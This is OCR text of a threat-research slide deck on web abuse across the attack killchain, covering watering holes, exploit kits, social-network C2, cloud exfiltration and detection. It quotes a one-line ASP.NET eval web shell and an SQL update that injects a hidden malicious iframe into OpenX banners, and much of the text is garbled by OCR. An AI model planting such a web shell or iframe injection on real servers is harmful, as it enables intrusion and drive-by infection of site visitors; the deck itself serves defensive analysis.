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Introduction



So how web is being used and abused?

The trivial: Drive-bys
EKs
.. but there is much more than this




Software gets smarter, users become .. the
opposite ;)

With or without YOU...

he “"HoeflerText” font wasn't found -

The web page you are trying to load is displayed incorrectly, as it uses the "HoeflerText" font. To fix the
error and display the text, you have to update the "Chrome Font Pack”.

Manufacturer: Google Inc. All Rights Reserved
Current version: Chrome Font Pack 53.0.2785.89

Latest version: Chrome Font Pack 57.2.5284.21 m




Penetration and Data Exfil. Campaigns

These seem to leverage web for all steps of
traditional killchain:
*recon :social lures, system fingerprinting,
targeted delivery of first stage payloads
e exploitation: exploits, social engineering tricks,
phishing
e c2: compromised sites, proxies, social network
websites
 data exfiltration: cloud services are often used
for data exfil to mimic user behaviors



Out of scope

* We will not talk about trivial stuff here.

* We will not talk about Denial of Service Attacks,
Except for unusual trends.

* We expect everybody in the room knows what
Exploit Kits and Drive-by-Download attacks are

* Focus less known, but important cases and
situations



Censorship will save the future :)

f - News

Theresa May: I will shut
down extremist websites if
internet companies don't act

(f e ) Q Q m 8 Comments
/ { | s
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Side effects of Internet Censorship

> countries that have Internet censorship § Q

All Images News Videos Maps More Settings Tools

About 1,820,000 results (0.50 seconds)

+ North Korea. All websites are under government w
contral. ... 2

» Burma. Authorities filter e-mails and block access
to sites of groups that expose human rights

violations or disagree with the government.

« Cuba. Internet available only at government controlled "access points." ...
e Saudi Arabia. ...

e Iran. ...

e China. ...

e Syria. ...

¢ Tunisia.

Ll
]

More items...

Top 10 Internet-censored countries - USA Today
https://www.usatoday.com/story/news/world/2014/02/05/...internet-censors/5222385/
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Infrastructure compromise could lead to
bad impacts

Blacklisted domains resolve to “arbitrary” sites

Github incident

P Internet Protocol Version 4, Src: 211,9@,25. 48 (211.90.25.48), Dst: 1@.151.1.41 (16.151.1.41)
= Transmission Control Protecel, 5rc Port: 88 (80), Dst Port: 49803 (4%9883), Seq: 188, Ack: 1, Le

Source Port: 80 (&0)

Destination Port: 499683 (49003)

<5purce or Destination Port: BO=

<5ource or Destination Port: 45683>

[Stream index: 137]

[TCP Segment Len: 1824]

Sequence number: 108 (relative sequence number)
[Next sequence number: 1132 (relative seguence number)]
Acknowledgment number: 1 (relative ack number)
Header Length: 28 bytes
> .... AREA AEA1 18AG = Flags: B@x@18 (PSH, ACK)
TETTBMIa 1x 66 Sd 61 50 63 18 db 7h A 3 B8 B8 45 SR
pale
Baze
pe3e
pe4e

pEse

T p—



GosKomNadzor (blacklisting)

POCKOMHA/I30P PykoBosmTemio opranu3aiim
VIIPABJEHHUE ®EJAEPATBHON CIVABBI
110 HAJI30PY B CPEPE CBA3H,
MHOOPMALMOHHBIX TEXHOMOT HIE
H MACCOBBLIX KOMMYHHKA LM
MO UEHTPAJIBHOMY DEJEPATIBHOMY OKPYI'Y
(Vupapaenue PockoMuajzopa
1o Hentpaisuomy deaepaisnomy oKpyry)

Crapokatiperne o
Cripawonian
E-mail: rsock

1. 2, wopn. 10, NCI1-7, Mocksa, 117997
akc (495) 249-24-16
Farkn.gov.ru

01.06.2017 Ne 33817-09/77
HaNe or
O nanpasneHHH HHPOPMATITH

B coorBeTcTBHU € pPACHOpSIKEHHEM 3aMECTHUTENS
pykoBonutens Pockomuamzopa O.A. HWBanoBa oT
01.06.2017 Ne  33817-09/77 3anper OJOKMPOBKH
CIAEAYIOIIUX  CETeBbIX  aJIPecOB: 95.213.11.180,
87.240.165.82 wu 5.255.255.88, OTCYTCTBYIOIIMX B
Ilepeune 3amucedt, copepxamux uHGOPMAIHIO O
JIOMEHHBIX UMEHaX, yKa3aTelsaX CTPAHHIL CAiiTOB B CETH
«/HTEpHET» W CeTeBbIX ajapecax, MO3BOJIAIOIINX
WJICHTU(HUIMPOBATL caiiTel B ceTH «MHTepHeT™ U (M)
MH()OPMAIIHOHHBIE pecypceel, coaepKalie
MHPOPMALMIO, JOCTYNl K KOTOPOHl JomKeH ObITh
OTpaHWYEH  OMEpaTopaMH  CBA3H B TIOPSJIKE,
ycTraHoBIeHHBIM (DejiepaibHbIM 3aKOHOM OT 27 MO

2006 r©  Ne 149-d3  «O6  uHbopmanuy,
UHOOPMALMOHHBIX ~ TEXHOJIOTHSIX M O  3alluTe
nHpOpMaIHH» (Beirpyska), IpeoCTaBIAEMOM

oreparopamMm CBA3H.
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dymoff.space

Whois Record for DymOff.space

= Whois & Quick Stats
Risk Score 76.62

Email abuse@namecheap.com is associated with ~2,609,057 domains
5535582d3ee644c0a0589...@whoisguard.com

Registrant Org  WhoisGuard, Inc. was found in ~2,410,810 other domains
Dates Created on 2017-06-03 - Expires on 2018-06-03 - Updated on 2017-06-03

IP Address 13.88.179.33 - 303 other sites hosted on this server

bash $grep CNAME dymoff.space
dymoff.space. IN CNAME purposechem.com.

dymoff.space. IN CNAME www.ispovednik.com.
dymoff.space. IN CNAME myrotvorets.center.
dymoff.space. IN CNAME update.microsoft.com,

dymoff.space. IN CNAME flight-mhl7.1livejournal.com.

ered Mar 31,



dymoff.space

C' | ® https:/[reestr.rublacklist.net/search/?q=dymoff.space

1 www.dymoff.space

1 dymoff.space

1 http://dymoff.space/index.php?n=25&id=65537
f1 http://dymoff.space/index.php?n=25&id=250607
T http://www.dymoff.space/

f1 http://dymoff.space/category 5.php?n=25&id=334
71 http://dymoff.space/

IP-agpec

46.148.26.72
46.148.26.72
46.148.26.72
46.148.26.72
46.148.26.72
46.148.26.72
46.148.26.72

W

[ocopraH, NpUHABLUUKA pelleHMe [aTa

®CKH
®CKH
®CKH
®CKH
®CKH
®CKH
®CKH

2016-(
2016-C
2016-C
2016-C
2016-C
2016-C
2016-C



How to Kill a site in country-wide scale

C' @& Secure https://pastebin.com/WXksD5nR

0%’60 PASTEBIN <= new paste trends API

C @ https://reestr.rublacklist.net/search/?q=

HeTt pesynsraTtoB s

avtomatiks.com

HanpeHo 3anucei B peectpe Gnorepos: 0 BAVEBMREY LG roMA . Com

axz4npd4gb.ro.enter.bkfind.space
Het pe3yrnbraroB

azart4partner.com

HanpgeHo 3anucen B peecTpax 3anpeleHHbIX CauToB: 2
IP-agpec MocopraH, NPUHABLUMKA pelueHne Oarta domeH(

A azart4partner.com 188.42.167.54 | 1... ®HC 2016-08-26 0
‘N azart4partner.com 188.42.167.54 | 1... ®HC 2016-08-22



The Killchain

the common concept that Web is used during the
exploitation process.

The reality is that we’ve seen use of web systems
across the whole killchain.




Killchain: Reconnaissance



Fingerprinting: scanbox like techniques

Discussed:
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-u
sing-it-1.htmlhttp://pwc.blogs.com/cyber_security updates/2014/10/scanbox-framework-whos-affected
-and-whos-using-it-1.html

Also by TombKeeper in 2013

R1

2l E5 23 1A 2z

Browser and Local Zone
FB5 Eideeper (NSFOCUS)  14:10~15:00 (50 mins)



http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.htmlhttp://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.htmlhttp://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.htmlhttp://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.htmlhttp://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html

Reconnessance tools

+
|

avira
bitdefender_2013
bitdefender_2013
mcafee_enterprise
mcafee_enterprise
mcafee_enterprise
avg2012

avgz012

avg2012
eset_nod32

Dr.Web

Mse

sophos
f-secure2011
f-secure2011
f-secure2011
Kaspersky_2012
Kaspersky_2012
Kaspersky_2013
Kaspersky_2013
Kaspersky_2013
Kaspersky_2013
WinRAR

iTunes

iTunes

SQLServer
SQLServer
SOLServer

Location

00000000000 00000000000000O0O0~0

:\WINDOWS\system32\drivers\avipbb.sys

:\Program Files\Bitdefender\Bitdefender 2013 BETA\BdProvider.dll

:\Program Files\Bitdefender\Bitdefender 2013 BETA\Active Virus Control\avc3_000_001\avcu
:\Program Files\McAfee\VirusScan Enterprise\RES@0402\McShield.d11l

:\Program Files\Common Files\McAfee\SystemCore\mytilus3.dll

:\Program Files\Common Files\McAfee\SystemCore\mytilus3_worker.dll

:\Program Files\AVG Secure Search\13.2.0.4\AVG Secure Search_toolbar.dll
:\Program Files\Common Files\AVG Secure Search\DNTInstaller\13.Z2.@0\avgdttbx.dll
:\WINDOWS\system32\drivers\avgtpx86.sys

:\WINDOWS\system32\drivers\earon.sys

:\Program Files\DrWeb\drwebsp.dl1l

:\WINDOWS\system32\drivers\MpFilter.sys

:\PROGRA~1\Sophos\SOPHOS~1\SOPHOS~1.DLL

:\program files\f-secure\scanner-interface\fsgkiapi.dll

:\Program Files\F-Secure\FSPS\program\FSLSP.DLL

:\program files\f-secure\hips\fshook32.d1l

:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2012\klwtblc.dll
:\WINDOWS\system32\drivers\klif.sys

:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\remote_eka_prague_loader.dll
:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\klwtblc.dll
:\WINDOWS\system32\drivers\kneps.sys

:\WINDOWS\system32\drivers\klflt.sys

:\Program Files\WinRAR\WinRAR.exe

:\Program Files (x86)\iTunes\iTunesHelper.exe

:\Program Files\iTunes\iTunesHelper.exe

:\Program Files (x86)\Microsoft SQL Server\80\COM\sqlvdi.dll

:\Program Files\Microsoft SQL Server\80\COM\sqlvdi.dll

:\Program Files (x86)\Microsoft SQL Server\99\COM\instapi.dll



ljiartwbvsa.info
ljiartwbvsa.info
ljiartwbvsa.info
ljiartwbvsa.info
ljiartwbvsa.info

ljiartwbvsa.info

Non Violent environment fingerprinting
actions

Flash case from Lurk:

216.55.166.53

216.55.166.53

216.55.166.53

216.55.166.53

216.55.166.53

216.55.166.53

80

80

80

80

80

80

GET

GET

GET

GET

GET

GET

http://ljiartwbvsa.info/indexm.html

http://ljiartwbvsa.info/054RIdI

http://ljiartwbvsa.info/counter.php?t=f&v=win%2011,7,700,169&a=true

text/html

eLplication/x-shockwave-flash

text/html

text/html

ttD;//Iiiartwbvsa.info/s.oho?qt=null&ﬂ=1 1,7,700,169&sw=null&ar=null&jv=null&s|=5,1,

20513,0

ext/html

http://ljiartwbvsa.info/054RIcx




Recon with multi-staged payloads

POST /f7@1500edbf@564d9b34cf8addd9dff5.php HTTP/1.1
Accept: text*/*

Content-type: application/x-www-form-urlencoded
User-Agent: 256f0751d6b26488ba98fd57d354ceZa

Host: 52.78.95.103

Content-Length: 115

Cache-Control: no-cache

m=NEMtNEQtMjgtMjctMjYtMjI&o=V21uZ(93czg&d=Q0zpcIA&n=U3R1dmUtT2ZmaWN1Mw&v=ZWMXNThmNGE3YmYONT1LhZGU3NDh1OWI3YWYQYWMyMzC

nm=4C-4D-28-27-26-22
o=Windows8

d=C:\

n=Steve-0ffice3
v=ec158f4a7bf459ade748e9}




Killchain: delivery and exploitation



Web portals as a threat vector

* Initial vectors of compromise in targeted attacks
(map pentest and APT scenarios)

* Misconfigurations and their consequences
(unpredicted data leaks)

e Exfiltration as a customer communication
(hypothetical, but maybe already in the wild)

* BPC or Business logic compromises



Anti-forensic in early days

Ecrnmy Bac ecTs ambuLmMu Camb 14 HecTHbIA 1 MIBECTHLIA Amopcm ranepes Hanbonee 4acTo BeTpevaloumec
MEHCKWiA NUKaN* NM4HOCTHLIN PocT Mm“HaMaH"m.- I Bonpockl

a Mognucka Ha RSS

; LIGHT
a mpu ap X a m ) ormetuTs B Twitter

KaK no3HakoMUThCH, 000NBCTUTL, MaHWUNYMPOBATH JT00LIM MYX4MHON, . HOAI'IMCKa Ha Email
cTaTb CaMoA0CTaTOYHON W BCEra JoOMBaTLCA CBOEr0.

FAQ APTTEPANWA WEHCKWA MUKAM+NMYHOCTHL IA POCT MAHUMYNAPOBAHUE O MATPUAPXAT.LIGHT OBONbLIEHAE 'OTHOLWIEHWA
CTATb KPACUBOW TECTbI TOBAPGI

WM3BPAHHLIE CTATbA

Bupaeo «lMoTpedutenu nrodBuU» UNun
«loyeMy OH MeHA Ucnonb3yeT?»

Ouu - notpefureny noben - u uw 310 Hpaeutcal 3auem yto-To B cefie MeHATe? W Tak HuzHe PR —

:"Moveny Bel ve r

npexpacHal Nonyuue npurnalwenue Ha o Yum pe

MNpeasiay

nonp

ATk PEErOBOPUTE MOKX NPUATENE

Al e e

M HTML v | CSS

PeaaktvpoeaTe | body < html

<hr>




Delivery on non-standard ports

10000 +

1000

100

10 7

Malware ports used for driveby (Ports vs Logged attempts count)

21

33

80

88

90

o2

4432

T
443

T T T T T T T T T T
781 888 3910 5816 9101 12421 12601 39031 59902 Other
TCP Ports



Watering Hole as a threat vector

credit: Joseph C Chen

Q\ :|| @ nhttp://www.kcna.co jp/index-e.htm P~ || (& News From KOREAN CENT...

I — To Korean
mn Service
News From KOREAN CENTRAL NEWS AGENCY of DPRK(Democratic Peocle s Republic of Korea)
Introduction to K

File Edit Rules Tools View Help GET/book £ Geofdge
() #pReplay X - b Go | Stream {ilfi Decode | Keep: All sessions ~ &3 Any Process 34 Find [l Save | I8 (3) @& Browse - G C

# Result Protocol Host URL Body Content-Type

A1 502 HTTP www.kona.co.jp  findex-e.htm 512 text/html; charset=UTF-8

ﬁ 2 200 HTTP Tunnel to  ieonline. microsoft.com:; 443 0

€93 200 HTTP www.kona.co.jp  findex-e.htm 8,561 text/himl

% 4 200 HTTP www.kona.co.jp  futm/__utm.js 16,380 application/x-javascript

@5 200 HTTP www.kona.co.jp  jutm/__utm.gif?utmwy=6. 18utmn=17151521258... 35 image/gif

€96 200 HTTP www.kena.co.jp  ftop-eng.html 3,514 text/html

£9»7 200 HTTP www.kcna.co.jp  fe-news.html 105,362 text/html

O 8 404 HTTP www.kcna.co.jp  fimages kabe-0.qif 215 text/himl; charset=iso-8859-1
[F 4L 200 HTTP www.kona.co.jp  fimages/flag-dprk.gif 1,014 image/gif

L?_] 10 200 HTTP www.kcna.co.jp  fimages/Knewskage-t.gif 4,795 image/aif

A 404 HTTP www.kona.co.jp  fimages/kabe-0.gif 215 text/html; charset=iso-8859-1
A 404  HTTP www.kcna.co.jp  /(EmptyReference!) 215 text/html; charset=iso-8859-1
A3 404 HTTP www.kona.co.jp  fe-news.files/02mm. gif 219 text/hitml; charset=iso-8859-1
El 14 200 HTTP 52.78.95.103 /a7db98c120710f08ea5604f2bf622ac9.php 115,712 applicationfoctet-stream
A1s 404 HTTP www.kena.co.jp  ffavicon.ico 209 text/himl; charset=iso-8859-1
B16 200 HTTP 52,78.95.103 /f7015a0edbf0564dsb34cfaadddadffs. php 1 text/html

|§ 17 200 HTTP 52.78.95.103 /59c295edc8782deab4cde 7fcbd292747.php 1 text/html



Caching routines as a threat vector (Lurk Case 1)

- memcached Cache poisoning

*Observed: continuous flood of connection
requests to TCP 11211 (default memcached
port)

*Cached pages were updated with ‘iframed’
versions of these pages on the fly




SSH Vuln as a threat vector (Lurk Case 2)

*Machine was compromised via an ssh
vulnerability

* Apache web server had additional module
installed: mod_proxy _mysgl.so (didn’t link any
mysql libraries)

*This is possibly a modified version of
http://pastebin.com/raw/6wWVsstj as reported
by succuri
(https://blog.sucuri.net/2013/01/server-side-ifra
me-injections-via-apache-modules-and-sshd-bac
kdoor.html)



http://pastebin.com/raw/6wWVsstj

OpenX as a threat vector (Lurk Case 3)

OpenX compromise

* webshell installed
* The Lurk group periodically modified banners table with

*update ‘banners’ set htmltemplate=concat(htmltemplate,

'<script>document.write(\'<div
style="position:absolute;left:1000px;top:-1280px;">

*<iframe
src="http://couldvestuck.org/ XZAH"></iframe><

/div>\"),

*</script>") where storagetype='html'
*This causes the OpenX script ‘/www/delivery/ajs.php’ to
produce the HTML code with this iframe snippet appearing at

the page.

), 1R

END,
CRO



EK Evolution mostly focused on Usability and
Antiforensics

*Serve where you can

e Serve by IP once per day

* Include GEO specifics

*Serve during Intervals

Serve for appropriate browser

*Server in appropriate environment



ADD Period Abuse

Domain ID:D46208878-LRMS

Status Code

What does it mean?

Domain Name:XEZARETA.INFO

Created On:24-Apr-2012 10:14:33 UTC

Last Updated On:24-Apr-2012 10:14:34 UTC
Expiration Date:24-Apr-2013 10:14:33 UTC
Sponsoring Registrar:DomainContext Inc. (R524
Status:CLIENT TRANSFER PROHIBITED

Statusg OHIBITED
Statuq:ADDPERIOD
Registran :PP-5P-001

Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Streetl:ID#1076@, PO Box 16

addPeriod

This grace period is provided after the
initial registration of a domain name. If
the registrar deletes the domain name
during this period, the registry may
provide credit to the registrar for the
cost of the registration.

Registrant Street2:Note - All Postal Mails Rejected, visit Privacyprotect.org
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Exploiting trusted redirects

6 E vy, google. camurlFg=http%: 38 %6 2F % 2Firanst yh [ g '!lv

Y,

O| | A | | W

Eedirecting you to hitp /fironstyle pp ualget hey="0D0% A0 D0ME 0% D 1% 8 1% DOMEBEFY . DO%MER
2D 1%08 1% D 0% E 0% D 0% B DD 0% E B4 D 0% B 54D 0% B 0% D0 B 234D 1% 82390 D0WMEE

YD E 1% D 1%085% D 1% 8 1% D0 E0+864+54D 0% BEY D 19082+ D 1% 64% D0% B 0% DO0%E 1
%D 1%E0%D0%ME B D 0% E AN D 0% B E+H1H4D 0B CM D 0% B O D 1%0EF

OmepbiTHe «raspisanie.exes E

Bkl cOAMPAETECE OTKPRITE tharn

[~ raspisanie.exe

AENAMILHACA Binary File (2,7 ME)

W3 htkp:ffrum 111 790:xbbif . rackproof . ru

Bkl XOTHTE COXPaHHTE 3TOT diadn?

C0xpaHHTE dakin | OTHMEHA |

9
==
-
om
»Z
Sl

P

”

WSRO D0MEY

1B S D0%EBD
1%80%D0% B0
11%84% D0%ES

118 E0%D0%MEBE
oB2%DOMES



Killchain: Command And Control



social networks are widely utilized as

intermediate c2

https://twitter.com/pidoras6 hx¢ ‘ » 9 Yon
Home @ Notifications ’v‘ Messages o Search Twitter (
et

. Tweets  Tweets & replies
ndi
Jorasé m gandi @pidoras6 - 14 Aug 2014
)))aHROcHMBLY93MHJtLmluL2pvaW4vam9pbiswaHA=
\

Joined June 2014 €« 3 2 ("

gandi Retwested
} , BUNDESLIGA® @bundesliga_de - 26 Jun 2014
BUNDESLIGA

% Tweet to gandi

10 t0 follow - Refresh - View al

Unentschieden? Gibt es nicht! Wissenswerte Fakten zum letz
von #GER gegen die #USA. #USAGER bundesliga.de/de/wet

@ Translate from German
R ~nnnk Anv Aianankfano

& = | @ www.plurk.com/firegode62

& Most Visited v+ @ Getting Started [E]Latest Headlines

I EFHRRIRR

# Front page i My Profile edit % My Friends Alerts (7)

[ firegod62 [ got Available serial Number : r3BRhL-
IMVT}-DEED

mute promot

[ firegod62 [fi] Plurk 1%

Mar 15 - 9:36am



Telegram as c2

www.securityweek.com/telecrypt-ransomwares-encryption-cracked

SECURITYWEEK NETWORK: Information Security News | Infosec Island | Suits and Spooks

=OEGURITY WEEK

INTERNET AND ENTERPRISE SECURITY NEWS, INSIGHTS & ANALYSIS

Balu komnbtoTep 6bin B3noMan! > {crypt

Bce Bawwu daiinbl Tenepb 3awmdpoBaHbl.

K coxaneHnwuio ansa Bac, nporpaMmMucTbl U NoAULUS
He cMoryT Bam nomMovb.

[ns pacwmodpoekm obpatutecs k onepatopy no ICQ.

Subscribe (Free) | CISO Forum 20

Malware & Threats Cybercrime Mobile & Wireless Risk & Compliance Security Architecture Securi
| ] EN/EETEN EER u|

3anuwmnte HoMep Hawen ICQ 714 595 302
ApNbIK 3TOro OkHa co3gaH Ha Bawwem paboyem ctone,
Ho Bbl MOXeTe yoanuTb ero u notepseTe Hallu KOHTaKTbl,

TeleCrypt Ransomware's Encryption Cracked crienoeatesibHo noTepseTe sce AR

>R 3akpwirs % Icq 714 595 302

blog.trendmicro.com/trendlabs-security-intelligence/using-third-party-apis-cc-infrastructure/

By Ionut Arghire on November 23, 2016

m 4 G+ < 4 ﬂ Recommend 25 “‘!E\‘j Trend Micro ' About TrendLabs Security Intelligence Blog

TeleCrypt, the file encryption ransomware that abuses Telegram API for communic:
has had its encryption cracked just two weeks after the threat was originally detailec ’ TREND | Trend LBbS@ SECURITY
&) WTEN | INTELLIGENCE Blog

SECURITY NEWS DIRECT FROM THREAT DEFENSE EXPERTS

The ransomware abuses the instant messaging service Telegram for command and col
(C&C) communications. What’s more, victims can send messages to the attackers usil
same service. Immediately after infection, the malware creates a Telegram bot beac

the C&C server to send various details about the compromised machine. (Cegmies

‘ Home

After installation, TeleCrypt searches the hard drive for specific files, then encrypts
and appends the .Xcri extension to them. However, security researchers say that somr

variations of the malware don’t change the file extension. Victim Machine has joined #general: Using Third-Party APIs as
C&C Infrastructure

Home » Exploits » Victim Machine has joined #general: Using Third-Party APIs as C&C Infrastructure

The ransomware’s authors would request around $75 from their victims to provide th
a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Mo Posted on: June 6,2017 at 5:05 am  Posted in: Exploits, Vulnerabilities
Right from the start, however, researchers suggested that TeleCrypt was written by Author: [Stephenthikt snd Cord AlireciRemenin{(SeniorihrestiResaarchers)

cybercriminals without advanced skills. &) TREND,
MICRDO




Legit and non legit use

* C2 on compromised web sites (Korea case and
many others)

* Major objectives
—Adds extra layer of obfuscation
—Minimize untrusted connections issues



Steganography

Hunting for MZ (pe binaries) insiide .jpg files
Saumil did awesome job exploring the boundaries:
stegosploit

Stegosploit

Exploit Delivery via Steganography and Polyglots

by Saumil Shah - saumil at net-square.com, @therealsaumil

June 2015

TL;DR:



Persistence: awesomeness of simplicity

Server:
<%@ Page Language="Jscript"%><%eval (Request.Item["pass"], "unsafe") ;%>

Client Request:

ception;try{eval(System.Text.Encoding.GetEncoding(65001) .GetString(Sys
jb2RpbmcuR2VORWS5 jb2RpbmcoNjUWMDEpLKd LdFNOcmluZyhTeXNOZWOuQ29udmVydC5Gc
51dyBTeXNOZWOuSUSURGLyZWNOb315SW5mbyhEKTt2YXIgcz1tLkd LdERpcmVjdGOyaWwVz
LNOcmluZ3tyZXR1lcm4gU31zdGVtLKLIPLKkZpbGUUR2VOTGFzdFdyaXR1lVGLtZShwKS5Ub1N
PUQrcltpXS50YW1101J1lc3BvbnNlLldyaXRLKHNbaVOuTmFtZSsiL1x0I1tUKFApKyJcdD
pXS50YW1l01Jlc3BvbnNlLldyaXR1lKHNbaVOuTmFtZSsiXHQiK1QoUCKkrIlx0Iitzw21ldL
Write("ERROR://

"+err.message) ; tResponse.Write("|<-");Response.End();




Killchain: Action



Ransomware attacks on server side web
application

* All your data belongs to us

Index of /my - index.php.WCRY

cursos.e-itesca.edu.mx/my/ v
[TXT] !Please Read Me!.txt, 2017-03-30 01:09, 849. [ ] 'WannaDecryptor!.exe..> 2017-03-30 01:09, 666.

[TXT], index.php.WCRY, 2016-09-29 19:43, 6.6K. [TXT] ...

Index of /

www.simustation.com/ v
Please Read Mel.ixt - WebSite/ - contact.html - footer.html - googlehostedservice.html - home.html -
index.html - index.html_bak - index.php.WCRY - index.php.bak ...

Index of /WebSite - index.php.bak. WCRY
www.simustation.com/WebSite/ v

... footer.html - footer.html.bak.WCRY - home.html - index - Copy.htm - index.php.WCRY -
index.php.bak. WCRY - index_new.htm - product.html - product.html.bak.



Cloud Exfiltration

POST /userinfo HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: https://my.pcloud.com/#page=login

Accept-Language: en-US,en;g=0.7,ko;q=0.3

Origin: https://my.pcloud.com

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.@ [Windows NT 6.1; WOW64; Trident/7.0; rv:11.0] like Gecko
Host: api.pcloud.com

Content-Length: 132

Cache-Control: no-cache

username=tinylongsman2@16@yandex.com&password=tinytiny!@#$&getauth=18&_t=1495447914&1ogout=1&authexpire=86400&



Cloud Exfiltration

Nt e n e e ————

https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1844&n
opartial=1&auth=Ixj0gVZA04MZ]MzgqczGIdQNS8WazD5CI5LDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1179&n
opartial=1&auth=IxjOgVZA04MZJMzgqczGIdQNS8WazD5CI5LDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1964&n
opartial=1&auth=IxjOgVZA04MZ|MzgqczGIdQNS8WazD5CI5LDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1051&n
opartial=1&auth=IxjOgVZA04MZ]MzgqczGIdQNS8WazD5CISLDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1700&n
opartial=1&auth=IxjOgVZA04MZJMzgqczGIdQNS8WazD5CI5LDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1386&n
opartial=1&auth=IxjOgVZA04MZ]MzgqczGIdQNS8WazD5CI5LDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1451&n
opartial=1&auth=Ixj0gVZA04MZ]MzgqczGIdQNS8WazD5CI5LDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1253&n
opartial=1&auth=IxjOgVZA04MZJMzgqczGIdQNS8WazD5CI5LDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1175&n
opartial=1&auth=IxjOgVZA04MZ|MzgqczGIdQNS8WazD5CI5LDzyFX
https://api10.pcloud.com/uploadfile?folderid=0&progresshash=upload-7769804-xhr-1602&n
opartial=1&auth=Ixj0gVZA04MZ]MzgqczGIdQNS8WazD5CISLDzyFX
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Client side web application as a threat
vector

Maybe extend attack surface to open redirect,

*open redirect

*SSRF

*Phishing forms

*EK

And make an introducion and focus on interesting
EK cases



Tips on Detection

* Defence Action plan for CSIRT teams



Small things matter: investigate

Date/Time 2011-10-31 13:54:43 MSK
Alert Name ActiveX_Warning
Severity Low

Observance Type

Intrusion Detection
Combined Event Count 1

:code 200

:protocol http
:server owpvqgxvbijs.com
:URL /BVRQ



Other interesting artifacts of Web
Exploitation

v [ doronina_yn
v [ Application Data
v B Sun
v B Java
v [ Deployment
v [W cache
v B 6.0
v BB 35
@ 6307d423-753a1664.idx
v B 52
~ 2b4dbacf4-35f11bae
[# 2b4bacf4-35f11bae.idx

w Hem e __ . i . AR



Exploit Kit Traces: ActiveX Controls

https://msdn.microsoft.com/en-us/library/dd433050(v=vs.85).aspx

oper Network

Programs

Community + Documentation +

ns > ActiveX Controls > Overviews/Tutorials ~

:X Controls

Favontes s £ Custemmae Links g

€ Yahoo! Games

Per-Site ActiveX Controls

-'.' - !'-'I - L -Eagt' 3 Tooks =

Thr webule wirds 1o rum the Toloweg add - erc <
webdte arnd the add-on and wardt 1c allow it to run, ¢

vt Meda Playver Extenuion’ freem MNMcrosoft Cerparation’. I veu trust |

Ik here..

WREINAON camee

W

r .

Internet Explorer - Security Warning @

Do you want to run this ActiveX control?

Name: Windows Media Player Extension

Publisher: Microsoft Corporation

Run _Dnn'tﬂm J |

This ActiveX control was previously added to your computer when you installed
another program, or when Windows was installed. You should only run it if you
trust the publisher and the website requesting it. What's the nsk?

‘tware\Microsoft\Windows\CurrentVersion\Ext\Stats\{CLSID}\iexplore\AllowedDomains\{DOMAIN | *}

eb Pages

~Ywr Vi

——
When an add-on is implemented on a Web site, the Information bar lets users allow an ActiveX cont b“ TREND
MICRO'

citac nar anhs tha riirrant Aana llcare Fran aacily malba channac tna thic hahaviar thraniah tha Manana |



Detection and mitigation experience

* Applying I0Cs for own protection
* How to tune proxies for EK Mitigation

* Web as a second Echelon of Email attacks

—Good case, javascript by email, which triggers binary troug
web



Hacker, hacker, who are you?

*VPN problem?

/classes/common/atext/fonts/verdana.ttf HTTP/1.1" 200 171792

/classes/common/atext/fonts/times.ttf HTTP/1.1" 200 409280

/classes/common/atext/fonts/arial.ttf HTTP/1.1" 200 367112

95.41.160.82 - - [09/Sep/2014:18:37:27 +0400] "GET /files/main.swf

95.41.160.82 - - [09/Sep/2014:18:37:23 +0400] "GET
95.41.160.82 - - [09/Sep/2014:18:37:24 +0400] "GET
95.41.160.82 - - [09/Sep/2014:18:37:25 +0400] "GET
HTTP/1.1" 200 570358

46.185.87.3 - - [09/Sep/2014:18:43

HTTP/1.1" 404 225

46.185.87.3 - - [09/Sep/2014:18:43:

200 1598

46.185.87.3 - - [09/Sep/2014:18:43:

200 156647

46.185.87.3 - - [09/Sep/2014:18:44:

46.185.87.3 - - [09/Sep/2014:18:44

HTTP/1.1" 200 1620

46.185.87.3 - - [09/Sep/2014:18:44:

103 +0400] "GET

04 +0400] "GET
09 +0400] "GET

24 +0400] "GET

146 +0400] "GET

48 +0400] "GET

/classes/classes.zip
/favicon.ico HTTP/1.1"
/classes.zip HTTP/1.1"
/classes/ HTTP/1.1" 200

/classes/common/mpanel/

/classes/common/mpanel/style.css HTTP/1.1" 200 1472

%), TREND,
MICRO



Strange use of F...

00.28.113.233.80.T) 5 001 ..
00.28.113.233.80.T) 5 002 ...
00.28.113.233.80.T) S 003 ...
00.28.113.233.80.T) 5 004 ...
00.28.113.233.80.T) 5 005 ...
60.28.113.233.80.T) 5 005 ..
00.28.113.233.80.T) S 251 ...
00.28.113.233.80.T) 5 252 ..
